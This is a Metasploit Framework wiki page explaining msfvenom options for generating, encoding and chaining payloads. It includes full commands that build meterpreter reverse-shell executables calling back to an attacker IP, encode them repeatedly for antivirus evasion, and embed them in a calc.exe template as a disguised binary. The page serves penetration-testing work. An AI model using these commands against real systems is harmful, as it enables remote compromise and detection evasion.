docs/metasploit-framework.wiki/How-to-use-msfvenom.md
Msfvenom is the combination of payload generation and encoding. It replaced msfpayload and msfencode on June 8th 2015.
To start using msfvenom, first please take a look at the options it supports:
```
Options:
-p, --payload <payload> Payload to use. Specify a '-' or stdin to use custom payloads
--payload-options List the payload's standard options
-l, --list [type] List a module type. Options are: payloads, encoders, nops, all
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
-f, --format <format> Output format (use --help-formats for a list)
--help-formats List available formats
-e, --encoder <encoder> The encoder to use
-a, --arch <arch> The architecture to use
--platform <platform> The platform of the payload
--help-platforms List available platforms
-s, --space <length> The maximum size of the resulting payload
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-b, --bad-chars <list> The list of characters to avoid example: '\x00\xff'
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the template behavior and inject the payload as a new thread
-o, --out <path> Save the payload
-v, --var-name <name> Specify a custom variable name to use for certain output formats
--smallest Generate the smallest possible payload
-h, --help Show this message
```
# How to generate a payload
To generate a payload, there are two flags that you must supply (-p and -f):
* **The -p flag: Specifies what payload to generate**
To see what payloads are available from Framework, you can do:
```
./msfvenom -l payloads
```
The -p flag also supports "-" as a way to accept a custom payload:
```
cat payload_file.bin | ./msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw
```
* **The -f flag: Specifies the format of the payload**
Syntax example:
```
./msfvenom -p windows/meterpreter/bind_tcp -f exe
```
To see what formats are supported, you can do the following to find out:
```
./msfvenom --help-formats
```
Typically, this is probably how you will use msfvenom:
```
$ ./msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker's IP] lport=4444 -f exe -o /tmp/my_payload.exe
```
# How to encode a payload
By default, the encoding feature will automatically kick in when you use the -b flag (the badchar flag). In other cases, you must use the -e flag like the following:
```
./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw
```
To find out what encoders you can use, you can use the -l flag:
```
./msfvenom -l encoders
```
You can also encode the payload multiple times using the -i flag. Sometimes more iterations may help avoiding antivirus, but know that encoding isn't really meant to be used a real AV evasion solution:
```
./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3
```
# How to avoid bad characters
The -b flag is meant to be used to avoid certain characters in the payload. When this option is used, msfvenom will automatically find a suitable encoder to encode the payload:
```
./msfvenom -p windows/meterpreter/bind_tcp -b '\x00' -f raw
```
# How to supply a custom template
By default, msfvenom uses templates from the msf/data/templates directory. If you'd like to choose your own, you can use the -x flag like the following:
```
./msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe
```
Please note: If you'd like to create a x64 payload with a custom x64 custom template for Windows, then instead of the exe format, you should use exe-only:
```
./msfvenom -p windows/x64/meterpreter/bind_tcp -x /tmp/templates/64_calc.exe -f exe-only > /tmp/fake_64_calc.exe
```
The -x flag is often paired with the -k flag, which allows you to run your payload as a new thread from the template. However, this currently is only reliable for older Windows machines such as x86 Windows XP.
# How to chain msfvenom output
The old ``msfpayload`` and ``msfencode`` utilities were often chained together in order layer on multiple encodings. This is possible using ``msfvenom`` as well:
```
./msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.3 LPORT=4444 -f raw -e x86/shikata_ga_nai -i 5 | \
./msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | \
./msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe -o payload.exe
```